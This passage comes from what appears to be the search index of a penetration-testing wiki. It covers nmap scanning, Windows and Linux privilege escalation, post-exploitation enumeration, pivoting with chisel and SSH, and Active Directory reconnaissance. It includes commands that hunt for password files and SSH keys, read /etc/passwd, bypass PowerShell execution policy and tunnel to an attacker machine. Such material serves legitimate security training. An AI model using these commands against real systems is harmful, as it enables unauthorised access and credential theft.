any installed patches and determine if it is vulnerable to a known kernel exploit. Plenty of exploits can be found just by searching up the kernel version, but a cheat sheet which I like can be found here . Naturally, the exploitation of a kernel exploit is highly specific on a case-by-case basis. Once you have identified that the system is vulnerable to a known kernel exploit, you will need to find the exploit code.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Kernel Exploits ยป Introduction","id":"179","title":"Introduction"},"18":{"body":"The syntax for nmap is as follows: nmap target_range It is always good practice to run Nmap with root privileges as they are required for some of the tool's functionality. You can do a simple scan on a single IP through the following command: nmap By default, Nmap scans the top 1000 most commonly used ports (these are not necssarily the ports 0-999). You can specify specific ports for scanning with the -p flag followed by a comma-separated list of ports. Specifying -p- will cause nmap to scan all ports (0-65535).","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Syntax","id":"18","title":"Syntax"},"180":{"body":"Windows Scheduled Tasks allow for the periodic execution of scripts. These can be manually enumerated via the following command: schtasks /query /fo LIST /v A scheduled task is of interest when it is executed with elevated privileges but we have write access to the script it executes. This script is fairly simple, so we can just append a line to it which executes a malicious executable. When the time for the scheduled task comes, we will catch an elevated shell.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Scheduled Tasks ยป Introduction","id":"180","title":"Introduction"},"181":{"body":"User Account Control (UAC) is a security measure introduced in Windows Vista which aims to prevent unauthorised changes to the operating system. It ensures that any such changes require the assent of the administrator or a user who is part of the local administrators group. Administrative privileges in Windows are a bit different from those in Linux. Even if an adversary manages to execute some code from an administrator account, this code will not run with elevated privileges, unless it was \"run as Administrator\"-ed. When an unprivileged user attempts to run a programme as administrator, they will be prompted by UAC to enter the administrator's password. However, if the user is privileged (they are an administrator), they will still be prompted with the same UAC prompt, but it will ask them for consent in lieu of a password. Essentially, an administrative user will need to click \"Yes\" instead of typing their password. What is described so far is the default behaviour. UAC, however, has different protection levels which can be configured. Now there are 3 (two of the options are the same but with different aesthetics) options. The first option, and the most strict, is Always Notify. If UAC is set to this, then any programme which tries to run with elevated privileges will beget a UAC prompt - including Windows built-in ones. Next is the default setting - Notify me when application try to make changes to my computer. Under this configuration, regular applications will still cause a UAC prompt to show up whenever run as administrator, however, Windows built-in programmes can be run with elevated privileges without such a prompt. Following is another option which is the exact same as this one, but the UAC prompt will not dim the screen. This is useful for computers for which dimming the screen is not exactly a trifling task. Finally, the Never Notify means that a UAC prompt will never be spawned no matter who is trying to run the application with elevated privileges. UAC can be bypassed if an adversary already has access to a user account which is part of the local administrators group and UAC is configured to the default setting.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Bypassing UAC ยป Introduction","id":"181","title":"Introduction"},"182":{"body":"There are many tools for bypassing UAC and which one is to be used depends on the Windows build and version. One such tool which has lots of methods for bypassing UAC is UACMe . You will need to build it from source using Visual Studio, meaning that you will need a Windows machine in order to compile it.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Bypassing UAC ยป Bypassing UAC","id":"182","title":"Bypassing UAC"},"183":{"body":"Windows Startup applications are very similar to AutoRun Programmes , however, they are executed every time a user logs in. If we can write to the Startups directory, then we can place a malicious executable there which will be executed upon the next login. If the next user to log in is an administrator, then we will gain elevated privileges. To check for write access to the Startups directory, we can use accesschk: C:\\PrivEsc\\accesschk.exe /accepteula -d \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\" All we need to do is place a malicious executable in the directory and wait for an admin to log in.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Startup Applications ยป Introduction","id":"183","title":"Introduction"},"184":{"body":"Windows Servers have capabilities to store credentials using a built-in utility called cmdkey . On its own, cmdkey is rather useless to an adversary - you can only really use it to list what credentials are stored but not actually reveal them. cmdkey /list The real deal is another built-in utility called Runas . It allows one user to execute a binary with the permissions of another and, what is essential here, this can be achieved with only stored credentials. One doesn't even need to know what the credentials are - so long as a user has their credentials stored, then they can be used to execute programmes as that user. runas /savedcred /user: ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Stored Credentials ยป Introduction","id":"184","title":"Introduction"},"185":{"body":"Windows Access Tokens are objects which describe the security context in which a thread or process is run. The information within an access token identifies the user and their privileges of said process or thread. Upon each successful user log-on, an access token for the user is generated and every process executed by this user will contain a copy of this token called the primary token . This token is used by the system to inspect the privileges of the process when the process tries to interact with something which may require certain privileges. However, threads of the process are allowed to use a second token, called an impersonation token , to interact with objects as if they had a different security context and different privileges. This is only allowed when the process has the SeImpersonatePrivilege. As with UAC bypassing , exploiting token impersonation is highly dependent on the Windows build and version. However, the most infamous exploits are the Potato exploits .","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Token Impersonation ยป Introduction","id":"185","title":"Introduction"},"186":{"body":"","breadcrumbs":"Post Exploitation ยป Enumeration","id":"186","title":"Post Exploitation"},"187":{"body":"There are plenty of tools which can be used for automating post-exploitation enumeration on Linux machines.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Introduction","id":"187","title":"Introduction"},"188":{"body":"LinPEAS is an amazing tool for automation enumeration. It is written in Bash which means that it requires no additional dependencies and can be freely run. In order to acquire the latest version of LinPEAS, run the following command: wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh By default, running LinPEAS will perform many checks on the system and spit out a deluge of information. However, the tool can also be used to only perform specific tasks using the -o argument. Enumerate system information: ./linpeas.sh -o system_information Enumerate containers on the machine: ./linpeas.sh -o container Enumerate cloud platforms: ./linpeas.sh -o cloud Enumerate available software: ./linpeas.sh -o software_information Enumerate processes, cronjobs, services, and sockets: ./linpeas.sh -o procs_crons_timers_srvcs_sockets Enumerate network information: ./linpeas.sh -o network_information Enumerate user information: ./linpeas.sh -o users_information Enumerate interesting files: ./linpeas.sh -o interesting_files","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Linux Enumeration with LinPEAS","id":"188","title":"Linux Enumeration with LinPEAS"},"189":{"body":"Find all files in a directory which contain \"pass\" or \"password\", ignoring case: grep --color=auto -rnw '' -ie \"password\\|pass\" --color=always 2>/dev/null Find all files in a directory which contain \"pass\" or \"password\" in their name, ignoring case: find / -name \"*pass*\" 2>/dev/null","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Hunting Down Sensitive Files ยป Finding Files Containing Passwords","id":"189","title":"Finding Files Containing Passwords"},"19":{"body":"open - an application is actively listening for TCP connections, UDP datagrams or SCTP associations on this port closed - the port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it filtered - Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. Usually, the filter sends no response, so Nmap needs to resend the probe a few times in order to be sure that it wasn't dropped due to traffic congestion. This slows the scan drastically unfiltered - the port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, used for mapping firewall rulesets, may put ports in this state open|filtered - Nmap is unable to determine whether the port is open or filtered. This occurs for scan types in which open ports give no response closed|filtered - Nmap is unable to determine whether the port is closed or filtered. It is only used for the IP ID idle scan.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Port States","id":"19","title":"Port States"},"190":{"body":"find / -name id_rsa 2>/dev/null","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Hunting Down Sensitive Files ยป Finding SSH Keys","id":"190","title":"Finding SSH Keys"},"191":{"body":"System enumeration is a crucial, typically first, step in the enumeration phase of post-exploitation.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Introduction","id":"191","title":"Introduction"},"192":{"body":"cat /etc/issue","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating the Distribution Version","id":"192","title":"Enumerating the Distribution Version"},"193":{"body":"uname -a cat /proc/version","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating Linux Kernel Version Information","id":"193","title":"Enumerating Linux Kernel Version Information"},"194":{"body":"lscpu","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating CPU Architecture","id":"194","title":"Enumerating CPU Architecture"},"195":{"body":"ps aux","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating Running Services","id":"195","title":"Enumerating Running Services"},"196":{"body":"List files owned by a certain user in a directory: find -user 2>/dev/null List files owned by a certain user in a directory (without /proc): find -user 2>/dev/null | grep -v \"/proc\" List files owned by a certain group in a directory: find -group 2>/dev/null find -group 2>/dev/null | grep -v \"/proc\" # ignore /proc","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป File System Enumeration","id":"196","title":"File System Enumeration"},"197":{"body":"whoami id","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Enumerate User Name and Group","id":"197","title":"Enumerate User Name and Group"},"198":{"body":"sudo -l","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Enumerate Commands Runnable as Root","id":"198","title":"Enumerate Commands Runnable as Root"},"199":{"body":"cat /etc/passwd","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป List Users on the Machine","id":"199","title":"List Users on the Machine"},"2":{"body":"You should only make changes inside the eight category folders under the Notes/ directory. Minor edits to already existing content outside of the aforementioned allowed directories are permitted as long as they do not bring any semantic change - for example fixing typos.","breadcrumbs":"Cyberclopaedia ยป Contributing ยป In-Scope","id":"2","title":"In-Scope"},"20":{"body":"The default scan type with root privileges (-sS option) It does not complete a full TCP handshake, therefore it's a bit faster and used to be more silent (it is called a silent scan, although that is no longer the case) Also known as a half-open scan You can use the -sS option or omit it entirely to perform a TCP SYN scan. This type of scan works as follows: Nmap sends a SYN packet to the target, initiating a TCP connection. The target responds with SYN ACK, telling Nmap that the port is accessible. Finally, Nmap terminates the connection before it's finished by issueing a RST packet.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป TCP SYN & TCP Connect scans ยป TCP SYN Scan","id":"20","title":"TCP SYN Scan"},"200":{"body":"history","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Get History of Commands the User Has Run","id":"200","title":"Get History of Commands the User Has Run"},"201":{"body":"Get a list of the network interfaces connected to the machine with their IPs and MACs: ip a Get a list of the machines that the victim has been interacting with (print the ARP table): ip neigh","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Network Enumeration ยป List Network Interfaces and Network Information","id":"201","title":"List Network Interfaces and Network Information"},"202":{"body":"netstat -ano","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Network Enumeration ยป List Open Ports","id":"202","title":"List Open Ports"},"203":{"body":"Plenty of automated tools can be found for enumerating Windows machines. They are a bit more diverse than those available for Linux - there are precompiled binaries (.exes) available, but there are also PowerShell scripts and many more.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป Introduction","id":"203","title":"Introduction"},"204":{"body":"WinPEAS is an incredible tool for enumerating Windows machines. It comes in two flavours - .bat and .exe. It doesn't really matter which one you are going to run - both will do the job just fine - however, the .exe file requires .Net version 4.5.2 or later to be installed on the machine. Enumerating system information: winpeas.exe systeminfo","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป Windows Enumeration with WinPEAS","id":"204","title":"Windows Enumeration with WinPEAS"},"205":{"body":"systeminfo","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate System Information","id":"205","title":"Enumerate System Information"},"206":{"body":"wmic qfe","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate Patches","id":"206","title":"Enumerate Patches"},"207":{"body":"wmic logicaldisk get caption,description,providername","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate Drives","id":"207","title":"Enumerate Drives"},"208":{"body":"Pivoting is the act of establishing access to internal resources on a network through a compromised machine. This allows an adversary to exifltrate local data which is usually not accessible from the outside world. Moreover, it permits the use of hacking tools as if they were running from inside the network.","breadcrumbs":"Post Exploitation ยป Pivoting ยป Introduction","id":"208","title":"Introduction"},"209":{"body":"Chisel is an open-source application for port tunneling. You can get it from https://github.com/jpillora/chisel. Clone the repo and follow the installation instructions. In order to port tunnel with chisel, you need to have a copy of the binary on both the attacking and the compromised machines.","breadcrumbs":"Post Exploitation ยป Pivoting ยป Tunneling with Chisel ยป Introduction","id":"209","title":"Introduction"},"21":{"body":"The default scan type when SYN scan isn't available - lacking root privileges (-sT option) Nmap initiates a complete TCP connection with the target The connection attempts are loggen onto the target It's usually slower","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป TCP SYN & TCP Connect scans ยป TCP Connect Scan","id":"21","title":"TCP Connect Scan"},"210":{"body":"Run the following command on the attacking machine: chisel server -p [Listen Port] --reverse & This will setup a chisel server on Listen Port. On the compromised systenm run: chisel client [Attacker IP]:[Listen Port] R:[Local Host]:[Local Port]:[Remote Host]:[Remote Port] & This will endeavour to connect to a chisel server at the specified Attacker IP and Listen Port. Once it has connected to the remote chisel server, the chisel server will open Remote Port on the Remote Host and tunnel it to the Local Port of Local Host. From now on, any traffic sent to Remote Port on the Remote Host will be forwarded to the Local Port of Local Host. Chisel also defines some defaults for these values, which means you can omit some of them: Local Host - 0.0.0.0 Remote Host - 0.0.0.0 (server localhost) As an example, suppose you start a chisel server on your attacking machine (10.10.10.189) on port 1337, and want to gain access to port 3306 on the compromised machine. On the attacking machine you run: chisel server -p 1337 --reverse & On the compromised system you will run: chisel client 10.10.10.189:1337 R:localhost:3306:localhost:31337 & The above basically translates to \"Forward any traffic intended for port 31337 localhost on my attacking machine to port 3306 on the localhost of the compromised system\".","breadcrumbs":"Post Exploitation ยป Pivoting ยป Tunneling with Chisel ยป Creating a reverse tunnel","id":"210","title":"Creating a reverse tunnel"},"211":{"body":"SSH Tunneling is a port forwarding technique which uses SSH. It can be used to access internal resources within a network if you have SSH access to a host inside it. Additionally, the tunnel goes through a pre-existing SSH connection and can thus be utilised for bypassing firewalls.","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Introduction","id":"211","title":"Introduction"},"212":{"body":"Local port forwarding is used when you want to create a bridge to a port that hosts an internal service which does not accept connections from outside the network. For this to work, you need to specify two ports - one for the service on the remote machine which you want to access and one on your local machine to create the listener on. Any packets sent to your machine on the local port will be tunneled to the port on the remote machine through the SSH connection. Whilst you will still receive any responses to requests you send through the tunnel, you won't be able to receive arbitrary data that gets sent to the remote port. The syntax is fairly simple: ssh -L [LOCAL_IP:]LOCAL_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER [LOCAL_IP:] - the interface you want to open the listener on. This can be omitted and defaults to localhost. LOCAL_PORT - the port you want to start the listener on. Any traffic sent to this port will be forwarded through the tunnel. DESTINATION - the destination host. This does not need to (and most likely won't) match SSH_SERVER, since you are now trying to access an internal resource. DESTINATION_PORT - the port on the remote machine, that you want to access through the tunnel. You can also add -N -f to the above command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands. We have now established a tunnel on my Kali machine's port 8080, which will forward any traffic to 192.168.129.137:1337, which is my ubuntu server. So let's see if we can access the web page. Wait, what? We just created the tunnel, but it does not seem to work? Well, remember how the DESTINATION does not need to match the server's IP? This is because the DESTINATION is where the traffic is sent after it gets to the remote machine. In a sense, the remote machine is now the sender and not us. Therefore, in order to access a resource internal to the network, we would need to change DESTINATION to something like localhost or another computer's IP. Let's again check to see if we have access to the resource hidden behind localhost:1337 on the Ubuntu server...","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Local Port Forwarding","id":"212","title":"Local Port Forwarding"},"213":{"body":"Remote port forwarding is sort of the reverse of local port forwarding. A tunnel is opened and any traffic sent to the tunnel port on the remote machine will be forwarded to the local machine. In the exact same way as above, once the traffic is tunneled, the local machine becomes the sender. Therefore, remote port forwarding is more useful when you want to receive traffic from inside the network, rather than injecting it. You will be able to actively receive any data that is sent to the remote port, but you won't be able to send arbitrary data through the tunnel yourself. The syntax is also very similar: ssh -R [REMOTE:]REMOTE_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER [REMOTE:] - the remote host to listen on. This resembles the LOCAL_IP when local port forwarding and can be omitted. If left empty, the remote machine will bind on all interfaces REMOTE_PORT - the port on the remote machine that is part of the tunnel. DESTINATION:DESTINATION_PORT - the host and port that the traffic should be sent to once it gets from the remote machine back to the local machine Once again, you can add -N -f to the command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands.","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Remote Port Forwarding","id":"213","title":"Remote Port Forwarding"},"214":{"body":"","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Active Directory (AD)","id":"214","title":"Active Directory (AD)"},"215":{"body":"PowerView is a PowerShell tool for the enumeration of Windows domains. The script can be downloaded from https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1. Before running, you need to bypass PowerShell's execution policy: powershell -ep bypass Load the script using . .\\PowerView.ps1 Normally, you'd be running these commands through some sort of shell, but for the sake of simplicity, I will show them all run locally.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Overview","id":"215","title":"Overview"},"216":{"body":"Get-NetDomain","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Information","id":"216","title":"Get Domain Information"},"217":{"body":"Get-NetDomainController","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Controller Information","id":"217","title":"Get Domain Controller Information"},"218":{"body":"Get-DomainPolicy You can also get information about a specific policy with the following syntax: (Get-DomainPolicy).\"policy name\"","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Retrieve Domain Policy Information","id":"218","title":"Retrieve Domain Policy Information"},"219":{"body":"Get-NetUser The output of this command is rather messy, but you can pull specific information with the following syntax: Get-NetUser | select However, there is an even better way to do that.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Users Information","id":"219","title":"Get Users Information"},"22":{"body":"These scan types make use of a small loophole in the TCP RFC to differentiate between open and closed ports. RFC 793 dictates that \"if the destination port state is CLOSED .... an incoming segment not containing a RST causes a RST to be sent in response.โ€ It also says the following about packets sent to open ports without the SYN, RST, or ACK bits set: โ€œyou are unlikely to get here, but if you do, drop the segment, and return\". Scanning systems compliant with this RFC text, any packet not containing SYN, RST, or ACK bits will beget an RST if the port is closed and no response at all if the port is open. So long as none of these flags are set, any combination of the other three (FIN, PSH, and URG) is fine. These scan types can sneak through certain non-stateful firewalls and packet filtering routers and are a little more stealthy than even a SYN scan. However, not all systems are compliant with RFC 793 - some send a RST even if the port is open. Some operating systems that do this include Microsoft Windows, a lot of Cisco devices, IBM OS/400, and BSDI. These scans will work against most Unix-based systems. It is not possible to distinguish an open from a filtered port with these scans, hence why the port states will be open|filtered.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Overview","id":"22","title":"Overview"},"220":{"body":"Get a specific properties of all the users: Get-DomainUser -Properties ,,... It is useful to always have the samaccountname as the first property selected, so that you can easily match properties with specific users.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get User Property Information","id":"220","title":"Get User Property Information"},"221":{"body":"Get-DomainComputer | select samaccountname, operatingsystem","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Machines","id":"221","title":"Get Domain Machines"},"222":{"body":"Get-NetGroup | select samaccountname, admincount, description","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Groups","id":"222","title":"Get Groups"},"223":{"body":"Get-NetGPO | select ,,...","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Group Policy Information","id":"223","title":"Get Group Policy Information"},"224":{"body":"https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Additional Resources","id":"224","title":"Additional Resources"},"225":{"body":"Bloodhound is a tool used for finding relationships and patterns within data from an Active Directory environment. It is run on the attacker's machine and accessed through a web interface. Bloodhound operates on data and this data comes from a collector which is executed on the target machine.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Overview","id":"225","title":"Overview"},"226":{"body":"Install Bloodhound sudo apt install bloodhound Configure neo4j - Bloodhound relies on a different tool called neo4j. It is best to change its default credentials. run neo4j sudo neo4j console open the link it gives you and use the credentials neo4j:neo4j to login change the password","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Setup","id":"226","title":"Setup"},"227":{"body":"Data is obtained through a collector. There are different ones available. You can get SharpHound from the Bloodhound GitHub repo - https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1. Start neo4j and bloodhound: sudo neo4j console sudo bloodhound Run the collector on the target machine: powershell -ep bypass . .\\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -Domain -ZipFileName Now, move the files to the attacker machine.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Collecting Data for Bloodhound","id":"227","title":"Collecting Data for Bloodhound"},"228":{"body":"In Bloodhound, on the right you should see a button for Upload Data. Select the previously obtained zip file and wait for Bloodhound to process it. In the top left, click on the three dashes and you should see a summary of the data imported:","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Viewing the Data","id":"228","title":"Viewing the Data"},"229":{"body":"Through the analysis tab, you can see a bunch of pre-made queries. Their names are usually self-describing. Clicking on any of them will generate a particular graph expressing a specific relationship within the AD environment: You are also able to create custom queries.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Finding Relationships in the Data","id":"229","title":"Finding Relationships in the Data"},"23":{"body":"Doesn't set any flags. Since null scanning does not set any set flags, it can sometimes penetrate firewalls and edge routers that filter incoming packets with certain flags. It is invoked with the -sN option:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Null Scan","id":"23","title":"Null Scan"},"230":{"body":"","breadcrumbs":"System Internals","id":"230","title":"System Internals"},"231":{"body":"","breadcrumbs":"System Internals ยป Linux","id":"231","title":"System Internals"},"232":{"body":"","breadcrumbs":"System Internals ยป Linux ยป Processes ยป User ID","id":"232","title":"User ID"},"233":{"body":"Linux uses a unified file system which begins at the / directory (pronounced \"root\", notwithstanding this unfortunate naming). Directory Description / The anchor of the file system. Pronounced \"root\". /root The home directory of the root user. /home The home directories of non-root users are stored here. /usr All system files are stored here - the U nix S ystem R esource. /etc Stores configuration files. /var Stores variable data files such as logs, caches, etc. /opt Any additional software which is not built-in should be installed here. /tmp Temporary data storage. Its contents are erased at every boot or at a certain period. /proc Runtime process information.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Unified File System","id":"233","title":"Unified File System"},"234":{"body":"A symbolic, or soft , link is a reference in the file system to a particular file. When the symbolic link is used in a command, the file which it references will be used instead. Symbolic links between files (or directories for that matter) can be created by using the following command: ln -s It is important to note that when using relative paths for the link, the path is relative to the link (even after it is moved) and not the current working directory. Essentially, when creating a link with a relative path, the link points to ./file. However, if the link is moved, then ./ will refer to a different directory and the link won't be able to find what it is referencing.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Symbolic Links","id":"234","title":"Symbolic Links"},"235":{"body":"Hard links are different from the symbolic links in the sense that they do not have any relationship to the original path where they link to, but only to its contents. They are just files which reference the same data as another file. Hard links are created by using the following syntax: ln Because hard links bear no connection to the path they were created with, they will still point to the same data even after they are relocated.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Hard Links","id":"235","title":"Hard Links"},"236":{"body":"Every file and directory in Linux is owned by a certain user and a group and is assigned three sets of permissions - owner, group, and all users. The owner permissions describe what the user owning the file can do with it, the group permissions describe what members of the group owning the file can do with it, and the all users permissions describe what the rest of the non-root (root is allowed everything) users which are not members of the file's group can do with it. There are 3 possible type of permissions - read (r), write (x) and execute (x). Regarding the file shown here, the permissions are shown on the left and are represented by every 3 characters after the initial dash (-). So, here the file's owner (cr0mll) has rwx permissions on it. Every member of the sysint group will have rw permissions on the file and all other users will only be able to read it.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Permissions","id":"236","title":"Permissions"},"237":{"body":"The Set Owner User ID (SUID) is a special permission which can be set on executable files. When a file with SUID set is executed, it will always run with the effective UID of the user who owns it, irrespective of which user actually passed the command (so long as the user invoking the command also has execute permissions on the file). The SUID permission is indicated by replacing the x in the permissions of the owning user with s. Setting SUID on a file can be done with the following command: chmod u+s Note The SUID permission on scripts is ignored.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Set Owner User ID (SUID)","id":"237","title":"Set Owner User ID (SUID)"},"238":{"body":"Similarly to SUID, the Set Group ID (SGID) is a special permission which can be set on both executable files and directories. When set on files, it behaves in the same way SUID but rather than the files executing with the privileges of the owning user, they execute with the effective GID the owning group. When set on a directory, any file created within that directory will automatically have their group ownership set to one specified by the folder. Setting SGID on a file can be done with the following command: chmod g+s Note The SGID permission on scripts is ignored.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Set Group ID (SGID)","id":"238","title":"Set Group ID (SGID)"},"239":{"body":"The sticky bit is a special permission which can be applied to directories in order to limit file deletion within them to the owners of the files. It is denoted by a t in the place of the x permission for the directory and can be set with the following command: chmod +t ","breadcrumbs":"System Internals ยป Linux ยป File System ยป Sticky Bit","id":"239","title":"Sticky Bit"},"24":{"body":"Sets just the FIN bit to on. It is invoked with -sF:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป FIN Scan","id":"24","title":"FIN Scan"},"240":{"body":"The command line, is a text-based interface which allows for interaction with the computer and execution of commands. The actual command interpreter which carries out the commands is referred to as the shell and there are multiple examples of shells such as bash, zsh, sh, etc.","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Introduction","id":"240","title":"Introduction"},"241":{"body":"It is possible to redirect input and output from and to files when invoking commands: Redirection Description < in_file Redirect in_file into the command's standard input. > out_file Redirect the command's standard output into out_file by overwriting it. >> out_file Redirect the command's standard output into out_file by appending to it. > err_file Redirect the command's standard error into err_file by overwriting it. >> err_file Redirect the command's standard error into err_file by appending to it.","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Input and Output Redirection","id":"241","title":"Input and Output Redirection"},"242":{"body":"Moreover, information may be redirected directly from one command to another by using unnamed pipes (|).","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Pipes","id":"242","title":"Pipes"},"243":{"body":"","breadcrumbs":"System Internals ยป Windows","id":"243","title":"System Internals"},"244":{"body":"Active Directory (AD) is a directory service for Windows network environments. It allows an organisation to store directory data and make it available to the users in a given network. AD has a distributed hierarchical structure that allows for the management of an organisation's resources such as users, computers, groups, network devices, file shares, group policies, servers, workstations and trusts. Furthermore, it provides authentication and authorization functionality to Windows domain environments. Essentially, AD is a large database of information which is accessible to all users within a domain, irrespective of their privilege level. This means that a standard user account can be used to enumerate a large portion of all AD components.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Introduction","id":"244","title":"Introduction"},"245":{"body":"Resources in Active Directory are represented by objects. An object is any resource present within Active Directory such as OUs, printers, users, domain controllers, etc. Every object has a set of characteristic attributes which describe it. For example, a computer object has attributes such as hostname and DNS name. Additionally, all AD attributes are associated with an LDAP name which can be used when performing LDAP queries. Every object carries information in these attributes, some of which are mandatory and some optional. Objects can be instantiated with a predefined set of attributes from a class in order to make the process of object creation easier. For example, the computer object PC1 will be an instance of the computer class in Active Directory. It is common for objects to contain other objects, in which case they are called containers . An object holding no other objects is known as a leaf .","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Objects","id":"245","title":"Objects"},"246":{"body":"Objects are organised in logical groups called domains . These can further have nested subdomains in them and can either operate independently or be linked to other domains via trust relationships. A root domain together with all of its subdomains and nested objects is known as a tree . A collection of trees is referred to as a forest (really???). It is the root container for all objects in a given AD environment. Following is an example forest with a single tree: COMPANY.LOCAL/\nโ”œโ”€ ADMIN.COMPANY.LOCAL\nโ”‚ โ”œโ”€ GPOs\nโ”‚ โ”œโ”€ OUs\nโ”‚ โ”‚ โ”œโ”€ EMPLOYEES\nโ”‚ โ”‚ โ”‚ โ”œโ”€ COMPUTERS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ PC1\nโ”‚ โ”‚ โ”‚ โ”œโ”€ USERS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ jdoe\nโ”‚ โ”‚ โ”‚ โ”œโ”€ GROUPS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ STAFF\nโ”œโ”€ DEV.COMPANY.LOCAL\nโ”œโ”€ MAIL.COMPANY.LOCAL","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Object Organisation","id":"246","title":"Object Organisation"},"247":{"body":"The full path to an object in AD is specified via a Distinguished Name (DN) . A Relative Distinguished Name (RDN) is a single component of the DN that separates the object from other objects at the current level in the naming hierarchy. RDNs are represented as attribute-value pairs in the form attribute=value, typically expressed in UTF-8. A DN is simply a comma-separated list of RDNs which begins with the top-most hierarchical layer and becomes more specific as you go to the right. For example, the DN for the John Doe user would be dc=local,dc=company,dc=admin,ou=employees,ou=users,cn=jdoe. The following attribute names for RDNs are defined: LDAP Name Attribute DC domainComponent CN commonName OU 